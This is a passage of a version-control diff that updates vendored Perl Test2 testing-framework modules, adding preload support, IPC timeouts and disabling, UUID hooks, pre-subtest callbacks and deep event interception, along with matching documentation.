+        return $ctx->send_event_and_release(Pass => { name => 'foo' });
+    }
+
+    sub longform {
+        my $ctx = context();
+        my $event = $ctx->send_event(Pass => { name => 'foo' });
+        $ctx->release;
+        return $event;
+    }
+
 =back
 
 =head1 HOOKS
@@ -729,7 +975,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Instance.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Instance.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Instance.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 our @CARP_NOT = qw/Test2::API Test2::API::Instance Test2::IPC::Driver Test2::Formatter/;
@@ -9,9 +9,9 @@
 use Carp qw/confess carp/;
 use Scalar::Util qw/reftype/;
 
-use Test2::Util qw/get_tid USE_THREADS CAN_FORK pkg_to_file try/;
+use Test2::Util qw/get_tid USE_THREADS CAN_FORK pkg_to_file try CAN_SIGSYS/;
 
-use Test2::Util::Trace();
+use Test2::EventFacet::Trace();
 use Test2::API::Stack();
 
 use Test2::Util::HashBase qw{
@@ -21,11 +21,17 @@
     ipc stack formatter
     contexts
 
+    add_uuid_via
+
+    -preload
+
+    ipc_disabled
     ipc_shm_size
     ipc_shm_last
     ipc_shm_id
     ipc_polling
     ipc_drivers
+    ipc_timeout
     formatters
 
     exit_callbacks
@@ -33,11 +39,14 @@
     context_acquire_callbacks
     context_init_callbacks
     context_release_callbacks
+    pre_subtest_callbacks
 };
 
-sub pid { $_[0]->{+_PID} ||= $$ }
-sub tid { $_[0]->{+_TID} ||= get_tid() }
+sub DEFAULT_IPC_TIMEOUT() { 30 }
 
+sub pid { $_[0]->{+_PID} }
+sub tid { $_[0]->{+_TID} }
+
 # Wrap around the getters that should call _finalize.
 BEGIN {
     for my $finalizer (IPC, FORMATTER) {
@@ -54,6 +63,8 @@
     }
 }
 
+sub has_ipc { !!$_[0]->{+IPC} }
+
 sub import {
     my $class = shift;
     return unless @_;
@@ -63,6 +74,49 @@
 
 sub init { $_[0]->reset }
 
+sub start_preload {
+    my $self = shift;
+
+    confess "preload cannot be started, Test2::API has already been initialized"
+        if $self->{+FINALIZED} || $self->{+LOADED};
+
+    return $self->{+PRELOAD} = 1;
+}
+
+sub stop_preload {
+    my $self = shift;
+
+    return 0 unless $self->{+PRELOAD};
+    $self->{+PRELOAD} = 0;
+
+    $self->post_preload_reset();
+
+    return 1;
+}
+
+sub post_preload_reset {
+    my $self = shift;
+
+    delete $self->{+_PID};
+    delete $self->{+_TID};
+
+    $self->{+ADD_UUID_VIA} = undef unless exists $self->{+ADD_UUID_VIA};
+
+    $self->{+CONTEXTS} = {};
+
+    $self->{+FORMATTERS} = [];
+
+    $self->{+FINALIZED} = undef;
+    $self->{+IPC}       = undef;
+    $self->{+IPC_DISABLED} = $ENV{T2_NO_IPC} ? 1 : 0;
+
+    $self->{+IPC_TIMEOUT} = DEFAULT_IPC_TIMEOUT() unless defined $self->{+IPC_TIMEOUT};
+
+    $self->{+LOADED} = 0;
+
+    $self->{+STACK} ||= Test2::API::Stack->new;
+}
+
 sub reset {
     my $self = shift;
 
@@ -69,8 +123,10 @@
     delete $self->{+_PID};
     delete $self->{+_TID};
 
-    $self->{+CONTEXTS}    = {};
+    $self->{+ADD_UUID_VIA} = undef;
 
+    $self->{+CONTEXTS} = {};
+
     $self->{+IPC_DRIVERS} = [];
     $self->{+IPC_POLLING} = undef;
 
@@ -77,9 +133,12 @@
     $self->{+FORMATTERS} = [];
     $self->{+FORMATTER}  = undef;
 
-    $self->{+FINALIZED} = undef;
-    $self->{+IPC}       = undef;
+    $self->{+FINALIZED}    = undef;
+    $self->{+IPC}          = undef;
+    $self->{+IPC_DISABLED} = $ENV{T2_NO_IPC} ? 1 : 0;
 
+    $self->{+IPC_TIMEOUT} = DEFAULT_IPC_TIMEOUT() unless defined $self->{+IPC_TIMEOUT};
+
     $self->{+NO_WAIT} = 0;
     $self->{+LOADED}  = 0;
 
@@ -88,6 +147,7 @@
     $self->{+CONTEXT_ACQUIRE_CALLBACKS} = [];
     $self->{+CONTEXT_INIT_CALLBACKS}    = [];
     $self->{+CONTEXT_RELEASE_CALLBACKS} = [];
+    $self->{+PRE_SUBTEST_CALLBACKS}     = [];
 
     $self->{+STACK} = Test2::API::Stack->new;
 }
@@ -97,6 +157,9 @@
     my ($caller) = @_;
     $caller ||= [caller(1)];
 
+    confess "Attempt to initialize Test2::API during preload"
+        if $self->{+PRELOAD};
+
     $self->{+FINALIZED} = $caller;
 
     $self->{+_PID} = $$        unless defined $self->{+_PID};
@@ -138,6 +201,7 @@
 
     # Turn on IPC if threads are on, drivers are registered, or the Test2::IPC
     # module is loaded.
+    return if $self->{+IPC_DISABLED};
     return unless USE_THREADS || $INC{'Test2/IPC.pm'} || @{$self->{+IPC_DRIVERS}};
 
     # Turn on polling by default, people expect it.
@@ -224,9 +288,24 @@
     $code->() if $self->{+LOADED};
 }
 
+sub add_pre_subtest_callback {
+    my $self =  shift;
+    my ($code) = @_;
+
+    my $rtype = reftype($code) || "";
+
+    confess "Pre-subtest callbacks must be coderefs"
+        unless $code && $rtype eq 'CODE';
+
+    push @{$self->{+PRE_SUBTEST_CALLBACKS}} => $code;
+}
+
 sub load {
     my $self = shift;
     unless ($self->{+LOADED}) {
+        confess "Attempt to initialize Test2::API during preload"
+            if $self->{+PRELOAD};
+
         $self->{+_PID} = $$        unless defined $self->{+_PID};
         $self->{+_TID} = get_tid() unless defined $self->{+_TID};
 
@@ -253,6 +332,15 @@
     push @{$self->{+EXIT_CALLBACKS}} => $code;
 }
 
+sub ipc_disable {
+    my $self = shift;
+
+    confess "Attempt to disable IPC after it has been initialized"
+        if $self->{+IPC};
+
+    $self->{+IPC_DISABLED} = 1;
+}
+
 sub add_ipc_driver {
     my $self = shift;
     my ($driver) = @_;
@@ -281,12 +369,13 @@
             return $_[0]->{hub}->cull unless $self->{+IPC_SHM_ID};
 
             my $val;
-            {
-                shmread($self->{+IPC_SHM_ID}, $val, 0, $self->{+IPC_SHM_SIZE}) or return;
-
+            if(shmread($self->{+IPC_SHM_ID}, $val, 0, $self->{+IPC_SHM_SIZE})) {
                 return if $val eq $self->{+IPC_SHM_LAST};
                 $self->{+IPC_SHM_LAST} = $val;
             }
+            else {
+                warn "SHM Read error: $!\n";
+            }
 
             $_[0]->{hub}->cull;
         }
@@ -309,16 +398,20 @@
         # In some systems (*BSD) accessing the SysV IPC APIs without
         # them being enabled can cause a SIGSYS.  We suppress the SIGSYS
         # and then get ENOSYS from the calls.
-        local $SIG{SYS} = 'IGNORE';
+        local $SIG{SYS} = 'IGNORE' if CAN_SIGSYS;
 
         require IPC::SysV;
 
         my $ipc_key = IPC::SysV::IPC_PRIVATE();
         my $shm_size = $self->{+IPC}->can('shm_size') ? $self->{+IPC}->shm_size : 64;
-        my $shm_id = shmget($ipc_key, $shm_size, 0666) or die;
+        my $shm_id = shmget($ipc_key, $shm_size, 0666) or die "Could not get shm: $!";
 
         my $initial = 'a' x $shm_size;
-        shmwrite($shm_id, $initial, 0, $shm_size) or die;
+        shmwrite($shm_id, $initial, 0, $shm_size) or die "Could not write to shm: $!";
+        my $val;
+        shmread($shm_id, $val, 0, $shm_size) or die "Could not read from shm: $!";
+        die "Read SHM value does not match the initial value ('$val' vs '$initial')"
+            unless $val eq $initial;
 
         $self->{+IPC_SHM_SIZE} = $shm_size;
         $self->{+IPC_SHM_ID}   = $shm_id;
@@ -367,35 +460,60 @@
 }
 
 sub _ipc_wait {
+    my ($timeout) = @_;
     my $fail = 0;
 
-    if (CAN_FORK) {
-        while (1) {
-            my $pid = CORE::wait();
-            my $err = $?;
-            last if $pid == -1;
-            next unless $err;
-            $fail++;
-            $err = $err >> 8;
-            warn "Process $pid did not exit cleanly (status: $err)\n";
+    $timeout = DEFAULT_IPC_TIMEOUT() unless defined $timeout;
+
+    my $ok = eval {
+        if (CAN_FORK) {
+            local $SIG{ALRM} = sub { die "Timeout waiting on child processes" };
+            alarm $timeout;
+
+            while (1) {
+                my $pid = CORE::wait();
+                my $err = $?;
+                last if $pid == -1;
+                next unless $err;
+                $fail++;
+
+                my $sig = $err & 127;
+                my $exit = $err >> 8;
+                warn "Process $pid did not exit cleanly (wstat: $err, exit: $exit, sig: $sig)\n";
+            }
+
+            alarm 0;
         }
-    }
 
-    if (USE_THREADS) {
-        for my $t (threads->list()) {
-            $t->join;
-            # In older threads we cannot check if a thread had an error unless
-            # we control it and its return.
-            my $err = $t->can('error') ? $t->error : undef;
-            next unless $err;
-            my $tid = $t->tid();
-            $fail++;
-            chomp($err);
-            warn "Thread $tid did not end cleanly: $err\n";
+        if (USE_THREADS) {
+            my $start = time;
+
+            while (1) {
+                last unless threads->list();
+                die "Timeout waiting on child thread" if time - $start >= $timeout;
+                sleep 1;
+                for my $t (threads->list) {
+                    # threads older than 1.34 do not have this :-(
+                    next if $t->can('is_joinable') && !$t->is_joinable;
+                    $t->join;
+                    # In older threads we cannot check if a thread had an error unless
+                    # we control it and its return.
+                    my $err = $t->can('error') ? $t->error : undef;
+                    next unless $err;
+                    my $tid = $t->tid();
+                    $fail++;
+                    chomp($err);
+                    warn "Thread $tid did not end cleanly: $err\n";
+                }
+            }
         }
-    }
 
-    return 0 unless $fail;
+        1;
+    };
+    my $error = $@;
+
+    return 0 if $ok && !$fail;
+    warn $error unless $ok;
     return 255;
 }
 
@@ -402,6 +520,8 @@
 sub DESTROY {
     my $self = shift;
 
+    return if $self->{+PRELOAD};
+
     return unless defined($self->{+_PID}) && $self->{+_PID} == $$;
     return unless defined($self->{+_TID}) && $self->{+_TID} == get_tid();
 
@@ -412,6 +532,8 @@
 sub set_exit {
     my $self = shift;
 
+    return if $self->{+PRELOAD};
+
     my $exit     = $?;
     my $new_exit = $exit;
 
@@ -470,13 +592,13 @@
             $ipc->waiting();
         }
 
-        my $ipc_exit = _ipc_wait();
+        my $ipc_exit = _ipc_wait($self->{+IPC_TIMEOUT});
         $new_exit ||= $ipc_exit;
     }
 
     # None of this is necessary if we never got a root hub
     if(my $root = shift @hubs) {
-        my $trace = Test2::Util::Trace->new(
+        my $trace = Test2::EventFacet::Trace->new(
             frame  => [__PACKAGE__, __FILE__, 0, __PACKAGE__ . '::END'],
             detail => __PACKAGE__ . ' END Block finalization',
         );
@@ -591,6 +713,10 @@
 
 Get all context release callbacks.
 
+=item $arrayref = $obj->pre_subtest_callbacks
+
+Get all pre-subtest callbacks.
+
 =item $obj->add_context_init_callback(sub { ... })
 
 Add a context init callback. Subs are called every time a context is created. Subs
@@ -602,6 +728,12 @@
 get the released context as their only argument. These callbacks should not
 call release on the context.
 
+=item $obj->add_pre_subtest_callback(sub { ... })
+
+Add a pre-subtest callback. Subs are called every time a subtest is
+going to be run. Subs get the subtest name, coderef, and any
+arguments.
+
 =item $obj->set_exit()
 
 This is intended to be called in an C<END { ... }> block. This will look at
@@ -645,6 +777,12 @@
 
 When 1 is returned this will set C<< $obj->ipc_shm_last() >>.
 
+=item $timeout = $obj->ipc_timeout;
+
+=item $obj->set_ipc_timeout($timeout);
+
+How long to wait for child processes and threads before aborting.
+
 =item $drivers = $obj->ipc_drivers
 
 Get the list of IPC drivers.
@@ -695,6 +833,14 @@
 
 Get the one true IPC instance.
 
+=item $obj->ipc_disable
+
+Turn IPC off
+
+=item $bool = $obj->ipc_disabled
+
+Check if IPC is disabled
+
 =item $stack = $obj->stack
 
 Get the one true hub stack.
@@ -719,6 +865,22 @@
 
     "Formatter $formatter loaded too late to be used as the global formatter"
 
+=item $obj->set_add_uuid_via(sub { ... })
+
+=item $sub = $obj->add_uuid_via()
+
+This allows you to provide a UUID generator. If provided UUIDs will be attached
+to all events, hubs, and contexts. This is useful for storing, tracking, and
+linking these objects.
+
+The sub you provide should always return a unique identifier. Most things will
+expect a proper UUID string, however nothing in Test2::API enforces this.
+
+The sub will receive exactly 1 argument, the type of thing being tagged
+'context', 'hub', or 'event'. In the future additional things may be tagged, in
+which case new strings will be passed in. These are purely informative, you can
+(and usually should) ignore them.
+
 =back
 
 =head1 SOURCE
@@ -744,7 +906,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Stack.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Stack.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Stack.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 use Test2::Hub();
@@ -27,7 +27,7 @@
     }
     else {
         require Test2::API;
-        $hub->format(Test2::API::test2_formatter()->new)
+        $hub->format(Test2::API::test2_formatter()->new_root)
             unless $hub->format || exists($params{formatter});
 
         my $ipc = Test2::API::test2_ipc();
@@ -210,7 +210,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/API.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/API.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/API.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,12 +2,14 @@
 use strict;
 use warnings;
 
+use Test2::Util qw/USE_THREADS/;
+
 BEGIN {
     $ENV{TEST_ACTIVE} ||= 1;
     $ENV{TEST2_ACTIVE} = 1;
 }
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 my $INST;
@@ -16,6 +18,7 @@
 sub test2_get_is_end { $ENDING }
 
 use Test2::API::Instance(\$INST);
+
 # Set the exit status
 END {
     test2_set_is_end(); # See gh #16
@@ -22,6 +25,16 @@
     $INST->set_exit();
 }
 
+sub CLONE {
+    my $init = test2_init_done();
+    my $load = test2_load_done();
+
+    return if $init && $load;
+
+    require Carp;
+    Carp::croak "Test2 must be fully loaded before you start a new thread!\n";
+}
+
 # See gh #16
 {
     no warnings;
@@ -38,7 +51,8 @@
     }
 }
 
-use Test2::Util::Trace();
+use Test2::EventFacet::Trace();
+use Test2::Util::Trace(); # Legacy
 
 use Test2::Hub::Subtest();
 use Test2::Hub::Interceptor();
@@ -54,19 +68,23 @@
 use Test2::Event::Skip();
 use Test2::Event::Subtest();
 
-use Carp qw/carp croak confess longmess/;
+use Carp qw/carp croak confess/;
 use Scalar::Util qw/blessed weaken/;
-use Test2::Util qw/get_tid/;
+use Test2::Util qw/get_tid clone_io pkg_to_file/;
 
 our @EXPORT_OK = qw{
     context release
     context_do
     no_context
-    intercept
+    intercept intercept_deep
     run_subtest
 
     test2_init_done
     test2_load_done
+    test2_load
+    test2_start_preload
+    test2_stop_preload
+    test2_in_preload
 
     test2_set_is_end
     test2_get_is_end
@@ -75,7 +93,12 @@
     test2_tid
     test2_stack
     test2_no_wait
+    test2_ipc_wait_enable
+    test2_ipc_wait_disable
+    test2_ipc_wait_enabled
 
+    test2_add_uuid_via
+
     test2_add_callback_context_aquire
     test2_add_callback_context_acquire
     test2_add_callback_context_init
@@ -82,6 +105,7 @@
     test2_add_callback_context_release
     test2_add_callback_exit
     test2_add_callback_post_load
+    test2_add_callback_pre_subtest
     test2_list_context_aquire_callbacks
     test2_list_context_acquire_callbacks
     test2_list_context_init_callbacks
@@ -88,8 +112,12 @@
     test2_list_context_release_callbacks
     test2_list_exit_callbacks
     test2_list_post_load_callbacks
+    test2_list_pre_subtest_callbacks
 
     test2_ipc
+    test2_has_ipc
+    test2_ipc_disable
+    test2_ipc_disabled
     test2_ipc_drivers
     test2_ipc_add_driver
     test2_ipc_polling
@@ -97,6 +125,8 @@
     test2_ipc_enable_polling
     test2_ipc_get_pending
     test2_ipc_set_pending
+    test2_ipc_get_timeout
+    test2_ipc_set_timeout
     test2_ipc_enable_shm
 
     test2_formatter
@@ -103,6 +133,10 @@
     test2_formatters
     test2_formatter_add
     test2_formatter_set
+
+    test2_stdout
+    test2_stderr
+    test2_reset_io
 };
 BEGIN { require Exporter; our @ISA = qw(Exporter) }
 
@@ -111,12 +145,36 @@
 my $INIT_CBS    = $INST->context_init_callbacks;
 my $ACQUIRE_CBS = $INST->context_acquire_callbacks;
 
+my $STDOUT = clone_io(\*STDOUT);
+my $STDERR = clone_io(\*STDERR);
+sub test2_stdout { $STDOUT ||= clone_io(\*STDOUT) }
+sub test2_stderr { $STDERR ||= clone_io(\*STDERR) }
+
+sub test2_post_preload_reset {
+    test2_reset_io();
+    $INST->post_preload_reset;
+}
+
+sub test2_reset_io {
+    $STDOUT = clone_io(\*STDOUT);
+    $STDERR = clone_io(\*STDERR);
+}
+
 sub test2_init_done { $INST->finalized }
 sub test2_load_done { $INST->loaded }
 
-sub test2_pid     { $INST->pid }
-sub test2_tid     { $INST->tid }
-sub test2_stack   { $INST->stack }
+sub test2_load          { $INST->load }
+sub test2_start_preload { $ENV{T2_IN_PRELOAD} = 1; $INST->start_preload }
+sub test2_stop_preload  { $ENV{T2_IN_PRELOAD} = 0; $INST->stop_preload }
+sub test2_in_preload    { $INST->preload }
+
+sub test2_pid              { $INST->pid }
+sub test2_tid              { $INST->tid }
+sub test2_stack            { $INST->stack }
+sub test2_ipc_wait_enable  { $INST->set_no_wait(0) }
+sub test2_ipc_wait_disable { $INST->set_no_wait(1) }
+sub test2_ipc_wait_enabled { !$INST->no_wait }
+
 sub test2_no_wait {
     $INST->set_no_wait(@_) if @_;
     $INST->no_wait;
@@ -128,6 +186,7 @@
 sub test2_add_callback_context_release   { $INST->add_context_release_callback(@_) }
 sub test2_add_callback_exit              { $INST->add_exit_callback(@_) }
 sub test2_add_callback_post_load         { $INST->add_post_load_callback(@_) }
+sub test2_add_callback_pre_subtest       { $INST->add_pre_subtest_callback(@_) }
 sub test2_list_context_aquire_callbacks  { @{$INST->context_acquire_callbacks} }
 sub test2_list_context_acquire_callbacks { @{$INST->context_acquire_callbacks} }
 sub test2_list_context_init_callbacks    { @{$INST->context_init_callbacks} }
@@ -134,8 +193,17 @@
 sub test2_list_context_release_callbacks { @{$INST->context_release_callbacks} }
 sub test2_list_exit_callbacks            { @{$INST->exit_callbacks} }
 sub test2_list_post_load_callbacks       { @{$INST->post_load_callbacks} }
+sub test2_list_pre_subtest_callbacks     { @{$INST->pre_subtest_callbacks} }
 
+sub test2_add_uuid_via {
+    $INST->set_add_uuid_via(@_) if @_;
+    $INST->add_uuid_via();
+}
+
 sub test2_ipc                 { $INST->ipc }
+sub test2_has_ipc             { $INST->has_ipc }
+sub test2_ipc_disable         { $INST->ipc_disable }
+sub test2_ipc_disabled        { $INST->ipc_disabled }
 sub test2_ipc_add_driver      { $INST->add_ipc_driver(@_) }
 sub test2_ipc_drivers         { @{$INST->ipc_drivers} }
 sub test2_ipc_polling         { $INST->ipc_polling }
@@ -143,9 +211,21 @@
 sub test2_ipc_disable_polling { $INST->disable_ipc_polling }
 sub test2_ipc_get_pending     { $INST->get_ipc_pending }
 sub test2_ipc_set_pending     { $INST->set_ipc_pending(@_) }
+sub test2_ipc_set_timeout     { $INST->set_ipc_timeout(@_) }
+sub test2_ipc_get_timeout     { $INST->ipc_timeout() }
 sub test2_ipc_enable_shm      { $INST->ipc_enable_shm }
 
-sub test2_formatter     { $INST->formatter }
+sub test2_formatter     {
+    if ($ENV{T2_FORMATTER} && $ENV{T2_FORMATTER} =~ m/^(\+)?(.*)$/) {
+        my $formatter = $1 ? $2 : "Test2::Formatter::$2";
+        my $file = pkg_to_file($formatter);
+        require $file;
+        return $formatter;
+    }
+
+    return $INST->formatter;
+}
+
 sub test2_formatters    { @{$INST->formatters} }
 sub test2_formatter_add { $INST->add_formatter(@_) }
 sub test2_formatter_set {
@@ -160,6 +240,7 @@
 sub _context_acquire_callbacks_ref { $INST->context_acquire_callbacks }
 sub _context_init_callbacks_ref    { $INST->context_init_callbacks }
 sub _context_release_callbacks_ref { $INST->context_release_callbacks }
+sub _add_uuid_via_ref              { \($INST->{Test2::API::Instance::ADD_UUID_VIA()}) }
 
 # Private, for use in Test2::IPC
 sub _set_ipc { $INST->set_ipc(@_) }
@@ -207,10 +288,12 @@
     return;
 };
 
+my $UUID_VIA = _add_uuid_via_ref();
+my $CID = 1;
 sub context {
     # We need to grab these before anything else to ensure they are not
     # changed.
-    my ($errno, $eval_error, $child_error) = (0 + $!, $@, $?);
+    my ($errno, $eval_error, $child_error, $extended_error) = (0 + $!, $@, $?, $^E);
 
     my %params = (level => 0, wrapped => 0, @_);
 
@@ -252,7 +335,7 @@
     }
 
     # I know this is ugly....
-    ($!, $@, $?) = ($errno, $eval_error, $child_error) and return bless(
+    ($!, $@, $?, $^E) = ($errno, $eval_error, $child_error, $extended_error) and return bless(
         {
             %$current,
             _is_canon   => undef,
@@ -283,11 +366,20 @@
     # hit with how often this needs to be called.
     my $trace = bless(
         {
-            frame => [$pkg, $file, $line, $sub],
-            pid   => $$,
-            tid   => get_tid(),
+            frame  => [$pkg, $file, $line, $sub],
+            pid    => $$,
+            tid    => get_tid(),
+            cid    => 'C' . $CID++,
+            hid    => $hid,
+            nested => $hub->{nested},
+            buffered => $hub->{buffered},
+
+            $$UUID_VIA ? (
+                huuid => $hub->{uuid},
+                uuid  => ${$UUID_VIA}->('context'),
+            ) : (),
         },
-        'Test2::Util::Trace'
+        'Test2::EventFacet::Trace'
     );
 
     # Directly bless the object here, calling new is a noticeable performance
@@ -317,7 +409,7 @@
 
     $params{on_init}->($current) if $params{on_init};
 
-    ($!, $@, $?) = ($errno, $eval_error, $child_error);
+    ($!, $@, $?, $^E) = ($errno, $eval_error, $child_error, $extended_error);
 
     return $current;
 }
@@ -345,7 +437,8 @@
     my $oldframe = $ctx->{trace}->frame;
     my $olddepth = $ctx->{_depth};
 
-    my $mess = longmess();
+    # Older versions of Carp do not export longmess() function, so it needs to be called with package name
+    my $mess = Carp::longmess();
 
     warn <<"    EOT";
 $msg
@@ -374,9 +467,31 @@
 
 sub intercept(&) {
     my $code = shift;
+    my $ctx = context();
 
+    my $events = _intercept($code, deep => 0);
+
+    $ctx->release;
+
+    return $events;
+}
+
+sub intercept_deep(&) {
+    my $code = shift;
     my $ctx = context();
 
+    my $events = _intercept($code, deep => 1);
+
+    $ctx->release;
+
+    return $events;
+}
+
+sub _intercept {
+    my $code = shift;
+    my %params = @_;
+    my $ctx = context();
+
     my $ipc;
     if (my $global_ipc = test2_ipc()) {
         my $driver = blessed($global_ipc);
@@ -389,7 +504,7 @@
     );
 
     my @events;
-    $hub->listen(sub { push @events => $_[1] });
+    $hub->listen(sub { push @events => $_[1] }, inherit => $params{deep});
 
     $ctx->stack->top; # Make sure there is a top hub before we begin.
     $ctx->stack->push($hub);
@@ -426,24 +541,29 @@
 sub run_subtest {
     my ($name, $code, $params, @args) = @_;
 
+    $_->($name,$code, at args)
+        for Test2::API::test2_list_pre_subtest_callbacks();
+
     $params = {buffered => $params} unless ref $params;
-    my $buffered      = delete $params->{buffered};
     my $inherit_trace = delete $params->{inherit_trace};
 
     my $ctx = context();
 
+    my $parent = $ctx->hub;
+
+    # If a parent is buffered then the child must be as well.
+    my $buffered = $params->{buffered} || $parent->{buffered};
+
     $ctx->note($name) unless $buffered;
 
-    my $parent = $ctx->hub;
-
     my $stack = $ctx->stack || $STACK;
     my $hub = $stack->new_hub(
         class => 'Test2::Hub::Subtest',
         %$params,
+        buffered => $buffered,
     );
 
     my @events;
-    $hub->set_nested( $parent->isa('Test2::Hub::Subtest') ? $parent->nested + 1 : 1 );
     $hub->listen(sub { push @events => $_[1] });
 
     if ($buffered) {
@@ -452,21 +572,15 @@
             $hub->format(undef) if $hide;
         }
     }
-    elsif (! $parent->format) {
-        # If our parent has no format that means we're in a buffered subtest
-        # and now we're trying to run a streaming subtest. There's really no
-        # way for that to work, so we need to force the use of a buffered
-        # subtest here as
-        # well. https://github.com/Test-More/test-more/issues/721
-        $buffered = 1;
-    }
 
     if ($inherit_trace) {
         my $orig = $code;
         $code = sub {
+            my $base_trace = $ctx->trace;
+            my $trace = $base_trace->snapshot(nested => 1 + $base_trace->nested);
             my $st_ctx = Test2::API::Context->new(
-                trace => $ctx->trace,
-                hub   => $hub,
+                trace  => $trace,
+                hub    => $hub,
             );
             $st_ctx->do_in_context($orig, @args);
         };
@@ -487,20 +601,44 @@
             $finished = 1;
         }
     }
+
+    if ($params->{no_fork}) {
+        if ($$ != $ctx->trace->pid) {
+            warn $ok ? "Forked inside subtest, but subtest never finished!\n" : $err;
+            exit 255;
+        }
+
+        if (get_tid() != $ctx->trace->tid) {
+            warn $ok ? "Started new thread inside subtest, but thread never finished!\n" : $err;
+            exit 255;
+        }
+    }
+    elsif (!$parent->is_local && !$parent->ipc) {
+        warn $ok ? "A new process or thread was started inside subtest, but IPC is not enabled!\n" : $err;
+        exit 255;
+    }
+
     $stack->pop($hub);
 
     my $trace = $ctx->trace;
 
+    my $bailed = $hub->bailed_out;
+
     if (!$finished) {
-        if(my $bailed = $hub->bailed_out) {
+        if ($bailed && !$buffered) {
             $ctx->bail($bailed->reason);
         }
-        my $code = $hub->exit_code;
-        $ok = !$code;
-        $err = "Subtest ended with exit code $code" if $code;
+        elsif ($bailed && $buffered) {
+            $ok = 1;
+        }
+        else {
+            my $code = $hub->exit_code;
+            $ok = !$code;
+            $err = "Subtest ended with exit code $code" if $code;
+        }
     }
 
-    $hub->finalize($trace, 1)
+    $hub->finalize($trace->snapshot(huuid => $hub->uuid, hid => $hub->hid, nested => $hub->nested, buffered => $buffered), 1)
         if $ok
         && !$hub->no_ending
         && !$hub->ended;
@@ -508,11 +646,12 @@
     my $pass = $ok && $hub->is_passing;
     my $e = $ctx->build_event(
         'Subtest',
-        pass       => $pass,
-        name       => $name,
-        subtest_id => $hub->id,
-        buffered   => $buffered,
-        subevents  => \@events,
+        pass         => $pass,
+        name         => $name,
+        subtest_id   => $hub->id,
+        subtest_uuid => $hub->uuid,
+        buffered     => $buffered,
+        subevents    => \@events,
     );
 
     my $plan_ok = $hub->check_plan;
@@ -526,6 +665,8 @@
     $ctx->diag("Bad subtest plan, expected " . $hub->plan . " but ran " . $hub->count)
         if defined($plan_ok) && !$plan_ok;
 
+    $ctx->bail($bailed->reason) if $bailed && $buffered;
+
     $ctx->release;
     return $pass;
 }
@@ -618,6 +759,35 @@
     my_ok($events->[0]->pass, "first event passed");
     my_ok(!$events->[1]->pass, "second event failed");
 
+=head3 DEEP EVENT INTERCEPTION
+
+Normally C<intercept { ... }> only intercepts events sent to the main hub (as
+added by intercept itself). Nested hubs, such as those created by subtests,
+will not be intercepted. This is normally what you will still see the nested
+events by inspecting the subtest event. However there are times where you want
+to verify each event as it is sent, in that case use C<intercept_deep { ... }>.
+
+    my $events = intercept_Deep {
+        buffered_subtest foo => sub {
+            ok(1, "pass");
+        };
+    };
+
+C<$events> in this case will contain 3 items:
+
+=over 4
+
+=item The event from C<ok(1, "pass")>
+
+=item The plan event for the subtest
+
+=item The subtest event itself, with the first 2 events nested inside it as children.
+
+=back
+
+This lets you see the order in which the events were sent, unlike
+C<intercept { ... }> which only lets you see events as the main hub sees them.
+
 =head2 OTHER API FUNCTIONS
 
     use Test2::API qw{
@@ -958,6 +1128,12 @@
 Set this to true if your tool is producing subtests without user-specified
 subs.
 
+=item 'no_fork' => $bool
+
+Defaults to off. Normally forking inside a subtest will actually fork the
+subtest, resulting in 2 final subtest events. This parameter will turn off that
+behavior, only the original process/thread will return a final subtest event.
+
 =back
 
 =item @ARGS
@@ -1065,15 +1241,57 @@
 This will return the global L<Test2::API::Stack> instance. If this has not
 yet been initialized it will be initialized now.
 
+=item test2_ipc_disable
+
+Disable IPC.
+
+=item $bool = test2_ipc_diabled
+
+Check if IPC is disabled.
+
+=item test2_ipc_wait_enable()
+
+=item test2_ipc_wait_disable()
+
+=item $bool = test2_ipc_wait_enabled()
+
+These can be used to turn IPC waiting on and off, or check the current value of
+the flag.
+
+Waiting is turned on by default. Waiting will cause the parent process/thread
+to wait until all child processes and threads are finished before exiting. You
+will almost never want to turn this off.
+
 =item $bool = test2_no_wait()
 
 =item test2_no_wait($bool)
 
+B<DISCOURAGED>: This is a confusing interface, it is better to use
+C<test2_ipc_wait_enable()>, C<test2_ipc_wait_disable()> and
+C<test2_ipc_wait_enabled()>.
+
 This can be used to get/set the no_wait status. Waiting is turned on by
 default. Waiting will cause the parent process/thread to wait until all child
 processes and threads are finished before exiting. You will almost never want
 to turn this off.
 
+=item $fh = test2_stdout()
+
+=item $fh = test2_stderr()
+
+These functions return the filehandles that test output should be written to.
+They are primarily useful when writing a custom formatter and code that turns
+events into actual output (TAP, etc.)  They will return a dupe of the original
+filehandles that formatted output can be sent to regardless of whatever state
+the currently running test may have left STDOUT and STDERR in.
+
+=item test2_reset_io()
+
